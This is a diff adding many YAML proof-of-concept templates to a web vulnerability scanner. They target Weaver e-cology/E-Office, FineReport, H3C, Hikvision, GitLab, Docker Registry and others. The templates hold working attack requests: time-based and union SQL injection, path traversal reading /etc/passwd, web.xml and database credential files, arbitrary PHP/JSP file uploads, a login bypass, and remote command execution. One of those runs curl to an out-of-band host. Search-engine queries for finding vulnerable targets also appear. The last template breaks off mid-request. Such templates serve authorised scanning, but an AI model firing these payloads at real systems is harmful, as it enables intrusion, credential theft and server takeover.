webscan/pocs/docker-registry-api-unauth.yaml

@@ -0,0 +1,21 @@
+id: docker-registry-api-unauth
+
+info:
+  name: docker registry api 未经批准
+  author: p0wd3r
+  severity: critical
+  tags: docker,unauth
+  created: 2024/01/12
+
+rules:
+    r0:
+        request:
+            method: GET
+            path: /v2/
+        expression: response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0")
+    r1:
+        request:
+            method: GET
+            path: /v2/_catalog
+        expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
+expression: r0() && r1()

webscan/pocs/druid-monitor-unauth.yaml

@@ -0,0 +1,17 @@
+id: druid-monitor-unauth
+
+info:
+  name: Druid Monitor Unauth
+  author: met7or
+  severity: high
+  verified: true
+  tags: druid,monitor,unauth
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /druid/index.html
+    expression: response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers")
+expression: r0()

webscan/pocs/ecology-filedownload-lfi.yaml

@@ -0,0 +1,22 @@
+id: ecology-filedownload-lfi
+
+info:
+  name: 泛微 OA ecology 本地文件读取
+  author: l1nk3r
+  severity: high
+  verified: true
+  description: |-
+    泛微OA e-cology 文件下载目录遍历
+    fofa: app="泛微-协同办公OA"
+  reference:
+    - https://www.weaver.com.cn/cs/securityDownload.asp
+  tags: ecology,directory-traversal
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml
+    expression: response.status == 200 && response.body.bcontains(b"<url-pattern>/weaver/")
+expression: r0()

webscan/pocs/ecology-filedownloadforoutdoc-sqli.yaml

@@ -0,0 +1,44 @@
+id: ecology-filedownloadforoutdoc-sqli
+
+info:
+  name: 泛微 OA filedownloadforoutdoc - SQL injection
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    泛微 OA filedownloadforoutdoc interface has SQL injection
+    fofa: app="泛微-协同办公OA"
+  tags: ecology,sqli
+  created: 2023/07/11
+
+set:
+  rand0: randomInt(100,199)
+  rand1: randomInt(200,299)
+  rand2: randomInt(300,399)
+  rand3: randomInt(400,499)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /weaver/weaver.file.FileDownloadForOutDoc
+      body: isFromOutImg=1&fileid={{rand0}}+WAITFOR+DELAY+'0:0:10'
+    expression: response.status == 200 && response.latency <= 12000 &&  response.latency >= 10000
+  r1:
+    request:
+      method: POST
+      path: /weaver/weaver.file.FileDownloadForOutDoc
+      body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6'
+    expression: response.status == 200 && response.latency <= 8000 &&  response.latency >= 6000
+  r2:
+    request:
+      method: POST
+      path: /weaver/weaver.file.FileDownloadForOutDoc
+      body: isFromOutImg=1&fileid={{rand2}}+WAITFOR+DELAY+'0:0:10'
+    expression: response.status == 200 && response.latency <= 12000 &&  response.latency >= 10000
+  r3:
+    request:
+      method: POST
+      path: /weaver/weaver.file.FileDownloadForOutDoc
+      body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6'
+    expression: response.status == 200 && response.latency <= 8000 &&  response.latency >= 6000
+expression: r0() && r1() && r2() && r3()

webscan/pocs/ecology-getselectallid-sqli.yaml

@@ -0,0 +1,22 @@
+id: ecology-getselectallid-sqli
+
+info:
+  name: 泛微OA E-Cology getdata.jsp SQL注入漏洞
+  author: Print1n
+  severity: high
+  verified: true
+  description: |-
+    泛微OA V8 存在SQL注入漏洞，攻击者可以通过漏洞获取管理员权限和服务器权限 app="泛微-协同办公OA"
+  tags: weaver,ecology,sqli
+  created: 2023/06/23
+
+set:
+  r1: randomInt(1000, 9999)
+  r2: randomInt(1000, 9999)
+rules:
+  r0:
+    request:
+      method: GET
+      path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+{{r1}}*{{r2}}+as+id
+    expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+expression: r0()

webscan/pocs/ecology-hrmcareerapplyperview-sqli.yaml

@@ -0,0 +1,22 @@
+id: ecology-hrmcareerapplyperview-sqli
+
+info:
+  name: 泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    泛微OA HrmCareerApplyPerView.jsp文件存在SQL注入漏洞，攻击者通过漏洞可以读取服务器敏感文件
+    fofa: app="泛微-协同办公OA"
+  tags: weaver,ecology,sqli
+  created: 2025/06/11
+
+set:
+  randstr: randomLowercase(6)
+rules:
+  r0:
+    request:
+      method: GET
+      path: /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1 union select 1,2,sys.fn_sqlvarbasetostr(HashBytes('MD5','{{randstr}}')),db_name(1),5,6,7
+    expression: response.status == 200 && response.body.bcontains(bytes(md5(randstr)))
+expression: r0()

webscan/pocs/ecology-jqueryfiletree-directory-traversal.yaml

@@ -0,0 +1,24 @@
+id: ecology-jqueryfiletree-directory-traversal
+
+info:
+  name: 泛微OA E-Cology jqueryFileTree.jsp 目录遍历漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    泛微e-cology是专为大中型企业制作的OA办公系统,支持PC端、移动端和微信端同时办公等，其中 jqueryFileTree.jsp 文件中 dir 参数存在目录遍历漏洞，攻击者通过漏洞可以获取服务器文件目录信息
+    fofa: app="泛微-协同办公OA"
+  tags: weaver,ecology,directory-traversal
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'index.jsp') && 
+      response.body.bcontains(b'PortalCenter.jsp') && 
+      response.body.bcontains(b'PortalSettingOperation.jsp')
+expression: r0()

webscan/pocs/ecology-resourceservlet-lfi.yaml

@@ -0,0 +1,21 @@
+id: ecology-resourceservlet-lfi
+
+info:
+  name: 泛微OA e-cology ResourceServlet 本地文件读取
+  author: l1nk3r
+  severity: critical
+  verified: true
+  description: |-
+    泛微OA e-cology springframework 本地文件读取
+  reference:
+    - https://www.weaver.com.cn/cs/securityDownload.asp
+  tags: weaver,ecology,lfi
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml
+    expression: response.status == 200 && response.body.bcontains(b"<url-pattern>/weaver/")
+expression: r0()

webscan/pocs/ecology-signaturedownload-fileread.yaml

@@ -0,0 +1,25 @@
+id: ecology-signaturedownload-fileread
+
+info:
+  name: 泛微 OA ecology SignatureDownLoad 任意文件读取
+  author: daffainfo
+  severity: critical
+  verified: true
+  description: |-
+    泛微协同管理平台e-weaver继承e-cology八大功能模块应用，并可进一步打通企业更深层的个性管理需求，基于协同思想打造全面整合企业管理资源的环境。e-weaver基于工作流引擎＋卡片/表单＋组件模式，全面开放已有八大功能的配置应用，同时还可以根据用户个性的管理需求，增添企业独立的应用模块功能，从而形成完全符合自身企业的全面协同管理应用解决方案。泛微OA e-weaver平台SignatureDownLoad处存在敏感信息泄露漏洞，攻击者通过漏洞可以获取数据库服务器权限。
+    fofa: app="泛微-E-Weaver"
+  reference:
+    - https://mp.weixin.qq.com/s/71v9SgVLJk2jg0kBVhkTpA
+  tags: weaver,ecology,fileread
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27../ecology/WEB-INF/prop/weaver.properties%27
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'ecology.user=') && 
+      response.body.bcontains(b'ecology.password=')
+expression: r0()

webscan/pocs/ecology-verifyquicklogin-login-bypass.yaml

@@ -0,0 +1,21 @@
+id: ecology-verifyquicklogin-login-bypass
+
+info:
+  name: 泛微OA E-Cology VerifyQuickLogin.jsp 任意管理员登录漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    泛微OA E-Cology VerifyQuickLogin.jsp文件中存在任意管理员登录漏洞，攻击着通过发送特殊的请求包可以获取管理员Session
+    fofa: app="泛微-协同办公OA"
+  tags: weaver,ecology,bypass
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /mobile/plugin/VerifyQuickLogin.jsp
+      body: identifier=1&language=1&ipaddress=x.x.x.x
+    expression: response.status == 200 && response.body.bcontains(b'"sessionkey":') && response.body.bcontains(b'"message":')
+expression: r0()

webscan/pocs/elasticsearch-unauth.yaml

@@ -0,0 +1,25 @@
+id: elasticsearch-unauth
+
+info:
+  name: ElasticSearch Information Disclosure
+  author: p0wd3r
+  severity: high
+  verified: true
+  description: |-
+    /_nodes #查看节点数据
+    /_cat/indices #索引
+    _cat/indices
+    /_plugin/head
+    /_nodes/
+    /_status
+    /_search?pretty
+  tags: elasticsearch,unauth
+  created: 2023/07/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /_cat
+    expression: response.status == 200 && response.body.bcontains(b"/_cat/master")
+expression: r0()

webscan/pocs/emobile-lang2sql-fileupload.yaml

@@ -0,0 +1,40 @@
+id: emobile-lang2sql-fileupload
+
+info:
+  name: 泛微移动管理平台E-mobile lang2sql接口存在任意文件上传
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    fofa: title="移动管理平台-企业管理"
+    zoomeye: app:"泛微移动办公平台e-mobile"
+  reference:
+    - https://mp.weixin.qq.com/s/beQWjJW1pt3vjF3PTvwxLA
+  tags: ecology,emobile,fileuplaod
+  created: 2023/11/07
+
+set:
+  randstr: randomLowercase(6)
+  randbody: randomLowercase(56)
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /emp/lang2sql?client_type=1&lang_tag=1
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: "\
+        ------WebKitFormBoundary{{rboundary}}\r\n\
+        Content-Disposition: form-data; name=\"file\"; filename=\"../../../../appsvr/tomcat/webapps/ROOT/{{randstr}}.txt\"\r\n\
+        \r\n\
+        {{randbody}}\r\n\
+        ------WebKitFormBoundary{{rboundary}}--\r\n\
+        "
+    expression: response.status == 200 && response.body.bcontains(b'"errcode"')
+  r1:
+    request:
+      method: GET
+      path: /{{randstr}}.txt
+    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
+expression: r0() && r1()

webscan/pocs/eoffice-mobile-upload-save-fileupload.yaml

@@ -0,0 +1,50 @@
+id: eoffice-mobile-upload-save-fileupload
+
+info:
+  name: 泛微 E-Office v9.5 mobile_upload_save 任意文件上传漏洞
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    weaver E-Office v9.5 file upload vulnerability official
+    fofa: app="泛微-EOffice"
+  reference:
+    - https://github.com/sunyixuan1228/cve/blob/main/weaver.md?ref=www.ctfiot.com
+    - https://www.ctfiot.com/116750.html
+    - https://www.e-office.cn/
+  tags: weaver,ecology,eoffice,fileupload
+  created: 2023/07/11
+
+set:
+  filename: randomLowercase(4)
+  randbody: randomLowercase(32)
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitForm{{rboundary}}
+      body: |
+        ------WebKitForm{{rboundary}}
+        Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.phP."
+        Content-Type: image/jpeg
+
+        {{randbody}}
+        ------WebKitForm{{rboundary}}
+        Content-Disposition: form-data; name="file"; filename=""
+        Content-Type: application/octet-stream
+
+
+        ------WebKitForm{{rboundary}}--
+    expression: response.status == 200 && response.body.bcontains(bytes(filename + ".phP"))
+    output:
+      search: '"\",(?P<id>[0-9]{10}),\"".bsubmatch(response.body)'
+      id: search["id"]
+  r1:
+    request:
+      method: GET
+      path: /attachment/{{id}}/{{filename}}.phP
+    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
+expression: r0() && r1()

webscan/pocs/eoffice-officeserver-fileupload.yaml

@@ -0,0 +1,43 @@
+id: weaver-eoffice-officeserver-fileupload
+
+info:
+  name: 泛微OA E-Office OfficeServer.php 任意文件上传漏洞
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |
+    泛微OA E-Office OfficeServer.php 存在任意文件上传漏洞，攻击者通过漏洞可以获取到服务器敏感信息
+    fofa: app="泛微-EOffice"
+  tags: weaver,eoffice,fileupload
+  created: 2024/02/21
+
+set:
+  randstr: randomLowercase(12)
+  rbody: randomLowercase(32)
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /eoffice10/server/public/iWebOffice2015/OfficeServer.php
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data;name="FileData";filename="{{randstr}}.php"
+        Content-Type: application/octet-stream
+
+        <?php echo md5("{{rbody}}");unlink(__FILE__);?>
+
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data;name="FormData"
+
+        {'USERNAME':'admin','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'{{randstr}}.php'}
+        ------WebKitFormBoundary{{rboundary}}--"
+    expression: response.status == 200
+  r1:
+    request:
+      method: GET
+      path: /eoffice10/server/public/iWebOffice2015/Document/{{randstr}}.php
+    expression: response.status == 200 && response.body.bcontains(bytes(md5(rbody)))
+expression: r0() && r1()

webscan/pocs/fanruan-finereport-fr-log-rce.yaml

@@ -0,0 +1,37 @@
+id: fanruan-finereport-fr-log-rce
+
+info:
+  name: 帆软 FineReport Fr Log Rce
+  author: xpoc
+  severity: critical
+  verified: true
+  description: |-
+    fofa: app="帆软-FineReport"
+  reference:
+    - https://xz.aliyun.com/t/11064
+  tags: fanruan,finereport,rce
+  created: 2023/06/23
+
+set:
+  nowtime: timestamp_second()
+rules:
+  r0:
+    request:
+      method: GET
+      path: /WebReport/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=admin
+    expression: response.status == 200 && response.body.bcontains(b"sessionID")
+    output:
+      search: '"op=widget&widgetname=widget9&sessionID=(?P<sessionID>.*?)\",\"type".bsubmatch(response.body)'
+      sessionID: search["sessionID"]
+  r1:
+    request:
+      method: POST
+      path: /WebReport/ReportServer?op=fr_dialog&cmd=parameters_d&sessionID={{sessionID}}
+      body: __parameters__={"LABEL1":"TYPE:","TYPE":"6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('curl {{oob.HTTP}}');select msg, trace, sinfo, logtime from fr_errrecord where 1=1","LABEL3":"START_TIME:","START_TIME":"2020-08-11 00:00","LABEL5":"END_TIME:","END_TIME":"2020-08-11 16:41","LABEL7":"LIMIT:","LIMIT":2}
+    expression: response.status == 200
+  r2:
+    request:
+      method: GET
+      path: /WebReport/ReportServer?_={{nowtime}}585&__boxModel__=true&op=page_content&sessionID={{sessionID}}&pn=1
+    expression: oobCheck(oob.ProtocolHTTP, 3)
+expression: r0() && r1() && r2()

webscan/pocs/finereport-directory-traversal.yaml

@@ -0,0 +1,16 @@
+id: finereport-directory-traversal
+
+info:
+  name: Finereport Directory Traversal
+  author: l1nk3r
+  severity: high
+  tags: finereport,directory-traversal
+  created: 2023/11/14
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
+    expression: response.status == 200 && response.body.bcontains(b"<rootManagerName>") && response.body.bcontains(b"<rootManagerPassword>")
+expression: r0()

webscan/pocs/gitlab-api-user-enum.yaml

@@ -0,0 +1,34 @@
+id: gitlab-api-user-enum
+
+info:
+  name: GitLab - User Information Disclosure Via Open API
+  author: Suman_Kar
+  severity: medium
+  reference:
+    - https://gitlab.com/gitlab-org/gitlab-foss/-/issues/40158
+  tags: gitlab,api,enum,user
+  created: 2023/07/20
+
+rules:
+  r0:
+    brute:
+      mode: sniper
+      commit: winner
+      continue: false
+      uid:
+        - "1"
+        - "2"
+        - "3"
+        - "4"
+        - "5"
+        - "6"
+        - "7"
+        - "8"
+        - "9"
+        - "10"
+        - "2"
+    request:
+      method: GET
+      path: /api/v4/users/{{uid}}
+    expression: response.status == 200 && response.body.bcontains(b'"id":') && response.body.bcontains(b'"username":') && response.body.bcontains(b'"name":')
+expression: r0()

webscan/pocs/gitlab-public-repos.yaml

@@ -0,0 +1,21 @@
+id: gitlab-public-repos
+
+info:
+  name: GitLab public repositories
+  author: ldionmarcil
+  severity: info
+  reference:
+    - https://twitter.com/ldionmarcil/status/1370052344562470922
+    - https://github.com/ldionmarcil/gitlab-unauth-parser
+  tags: gitlab,public,repos
+  created: 2023/07/20
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /api/v4/projects
+      headers:
+        Cookie: _gitlab_session=
+    expression: response.body.bcontains(b'name_with_namespace')
+expression: r0()

webscan/pocs/h3c-cvm-fileupload.yaml

@@ -0,0 +1,40 @@
+id: h3c-cvm-fileupload
+
+info:
+  name: H3C CVM 前台任意文件上传漏洞
+  author: daffainfo
+  severity: critical
+  verified: true
+  description: |-
+    H3C公司依托其强大的技术实力、产品与服务优势，以及深入人心的以客户为中心的理念，为企业数据中心IaaS云计算基础架构提供最优化的虚拟化与云业务运营解决方案。通过H3CCASCVM虚拟化管理系统实现数据中心虚拟化环境的中央管理控制，以简洁的管理界面，统一管理数据中心内所有的物理资源和虚拟资源，不仅能提高管理员的管控能力、简化日常例行工作，更可降低IT环境的复杂度和管理成本。H3CCVM存在任意文件上传漏洞，攻击者可以上传任意文件，获取webshell，控制服务器权限，读取敏感信息等。
+    fofa: server="H3C-CVM"
+  tags: h3c,cvm,fileupload
+  created: 2023/07/25
+
+set:
+  baseurl: request.url
+  r1: randomLowercase(8)
+  r2: md5(r1)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{{r1}}.txt&name=222
+      headers:
+        Content-Range: "bytes 0-110/120"
+        Referer: "{{baseurl}}/cas/login"
+        Accept-Encoding: "gzip, deflate"
+        Content-Type: ""
+      body: "{{r2}}"
+    expression: response.status == 200 && response.body.bcontains(b'message') && response.body.bcontains(b'success') && response.body.bcontains(b'true')
+  r1:
+    request:
+      method: GET
+      path: /cas/js/lib/buttons/{{r1}}.txt
+      headers:
+        Content-Range: "bytes 0-110/120"
+        Referer: "{{baseurl}}/cas/login"
+        Accept-Encoding: "gzip, deflate"
+        Content-Type: ""
+    expression: response.status == 200 && response.body.bcontains(bytes(r2))
+expression: r0() && r1()

webscan/pocs/h3c-hci-management.yaml

@@ -0,0 +1,18 @@
+id: h3c-hci-management
+
+info:
+  name: H3C 超融合管理平台
+  author: zan8in
+  severity: info
+  verified: true
+  tags: h3c,hci-management,panel
+  created: 2023/07/21
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /uis/login
+      follow_redirects: true
+    expression: response.status == 200 && response.body.bcontains(b"'/uis/spring_check?'")
+expression: r0()

webscan/pocs/h3c-information-leakage.yaml

@@ -0,0 +1,27 @@
+id: h3c-information-leakage
+
+info:
+  name: H3C设备敏感信息泄露
+  author: ifofor
+  severity: high
+  description: |-
+    未授权读取密码文件，可获取明文密码（用户名admin，密码：第二个数据包vtypasswd的值）
+    fofa: "userLogin.asp" && server="H3C-Miniware-Webs"
+  tags: h3c,information-leakage
+  created: 2023/07/25
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /userLogin.asp
+    expression: response.status == 200 && response.body.bcontains(b'H3C Corporation')
+    output:
+      search: '"(?P<title2>(?<=<title>)[A-Z^](.+)[0-9A-Z])".bsubmatch(response.body)'
+      name: search["title2"]
+  r1:
+    request:
+      method: GET
+      path: /userLogin.asp/../actionpolicy_status/../{{name}}.cfg
+    expression: response.status == 200 && response.body.bcontains(b'vtypasswd=')
+expression: r0() && r1()

webscan/pocs/h3c-jquery-172-file-read.yaml

@@ -0,0 +1,22 @@
+id: h3c-jquery-172-file-read
+
+info:
+  name: H3C 用户网管登录系统 jQuery-1.7.2 存在任意文件读取
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    h3c用户网管登录系统jQuery-1.7.2存在任意文件读取漏洞，其1.7.2版本的sys_dia_data_down模块存在任意文件读取漏洞，攻击者可通过前台读取任意文件。
+    fofa: body="webui/js/jquerylib/jquery-1.7.2.min.js"
+  reference:
+    - https://mp.weixin.qq.com/s/PnFzkwH4NZ0FhkKQ73l1IQ
+  created: 2023/05/26
+  tags: cve,cve2023,fileread,h3c
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /webui/?file_name=../../../../../etc/passwd&g=sys_dia_data_down
+    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
+expression: r0()

webscan/pocs/h3c-mselfservice-dynamiccontent-properties-rce.yaml

@@ -0,0 +1,17 @@
+id: h3c-mselfservice-dynamiccontent-properties-rce
+info:
+  name: H3C 用户自助服务平台 dynamiccontent.properties.xhtml RCE 漏洞
+  severity: critical
+  author: zan8in
+  verified: true
+  tags: h3c,mselfservice,rce
+  created: 2024/04/10
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml
+      body: "pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=ipconfig"
+    expression: response.status == 200 && response.body.bcontains(b'Windows IP')
+expression: r0()

webscan/pocs/h3csecparh-unauthorized-login.yaml

@@ -0,0 +1,24 @@
+id: h3csecparh-unauthorized-login
+
+info:
+  name: H3C Server - Unauthenticated Access
+  author: Print1n(http://print1n.top)
+  severity: high
+  description: |-
+    H3C server was able to be accessed with no authentication requirements in place.
+    shodan: http.html:"H3C-SecPath-运维审计系统"
+    fofa: app="H3C-SecPath-运维审计系统" && body="2018"
+  tags: h3c,default-login,unauth
+  created: 2023/06/17
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'错误的id') &&
+      response.body.bcontains(b'审计管理员') &&
+      response.body.bcontains(b'admin')
+expression: r0()

webscan/pocs/hadoop-disclosure.yaml

@@ -0,0 +1,19 @@
+id: hadoop-disclosure
+
+info:
+  name: Apache Hadoop Disclosure
+  author: zan8in
+  severity: low
+  verified: true
+  description: |-
+    Apache Hadoop 存在目录浏览漏洞，攻击者可以通过访问/dfshealth.html来获取Hadoop集群的配置信息。
+  tags: hadoop,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /dfshealth.html
+    expression: response.status == 200 && response.body.bcontains(b'class="navbar-brand"') && response.body.bcontains(b'dfshealth.js')
+expression: r0()

webscan/pocs/hand-china-srm-tomcat-jsp-login-bypass.yaml

@@ -0,0 +1,31 @@
+id: hand-china-srm-tomcat-jsp-login-bypass
+
+info:
+  name: 汉得 SRM tomcat.jsp 登录绕过漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    fofa: 汉得SRM云平台
+    hunter: web.body="汉得SRM"
+  tags: hand-china,bypass,login
+  created: 2023/09/02
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /tomcat.jsp?dataName=role_id&dataValue=1
+    expression: response.status == 200 && response.body.bcontains(b'Server Info:') && response.body.bcontains(b'SRM SERVER Info.')
+  r1:
+    request:
+      method: GET
+      path: /tomcat.jsp?dataName=user_id&dataValue=1
+    expression: response.status == 200 && response.body.bcontains(b'Server Info:') && response.body.bcontains(b'SRM SERVER Info.')
+  r2:
+    request:
+      method: GET
+      path: /main.screen
+      follow_redirects: true
+    expression: response.status == 200
+expression: r0() && r1() && r2()

webscan/pocs/hikvision-anfang-report-fileupload.yaml

@@ -0,0 +1,42 @@
+id: hikvision-anfang-report-fileupload
+
+info:
+  name: HiKVISION 综合安防管理平台 report 任意文件上传
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |
+    HiKVISION 综合安防管理平台 report接口存在任意文件上传漏洞，攻击者通过构造特殊的请求包可以上传任意文件，获取服务器权限
+    fofa: app="HIKVISION-综合安防管理平台"
+    fofa: title="综合安防管理平台"
+  tags: hikvision,fileupload
+  created: 2023/08/09
+
+set:
+  r1: randomLowercase(4)
+  r2: randomInt(40000, 44800)
+  r3: randomInt(40000, 44800)
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /svm/api/external/report
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: "\
+        ------WebKitFormBoundary{{rboundary}}\r\n\
+        Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/{{r1}}.jsp\"\r\n\
+        Content-Type: application/zip\r\n\
+        \r\n\
+        <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\
+        \r\n\
+        ------WebKitFormBoundary{{rboundary}}--\r\n\
+        "
+    expression: response.status == 200 && response.body.bcontains(b'"code":') && response.body.bcontains(b'"data":') && response.body.bcontains(b'"msg":')
+  r1:
+    request:
+      method: GET
+      path: /portal/ui/login/..;/..;/{{r1}}.jsp
+    expression: response.status == 200  && response.body.bcontains(bytes(string(r2 * r3)))
+expression: r0() && r1()

webscan/pocs/hikvision-applyautologinticket-rce.yaml

@@ -0,0 +1,27 @@
+id: hikvision-applyautologinticket-rce
+
+info:
+  name: 海康威视综合安防管理平台 applyAutoLoginTicket RCE
+  author: free2e
+  severity: critical
+  verified: true
+  description: |
+    海康综合安防管理平台 applyAutoLoginTicket 接口存在 fastjson 反序列化漏洞。攻击者可在未鉴权的情况下，对目标服务器进行远程命令执行，从而获取服务器权限。
+    fofa: app="HIKVISION-综合安防管理平台"
+    fofa: icon_hash="136203464"
+    hunter: web.icon="753466eed2bbef2bae18b55994d1d2ae"
+  tags: hikvision,rce
+  created: 2024/06/11
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /bic/ssoService/v1/applyAutoLoginTicket
+      headers:
+        Content-Type: application/json
+        cmd: ipconfig
+      body: |
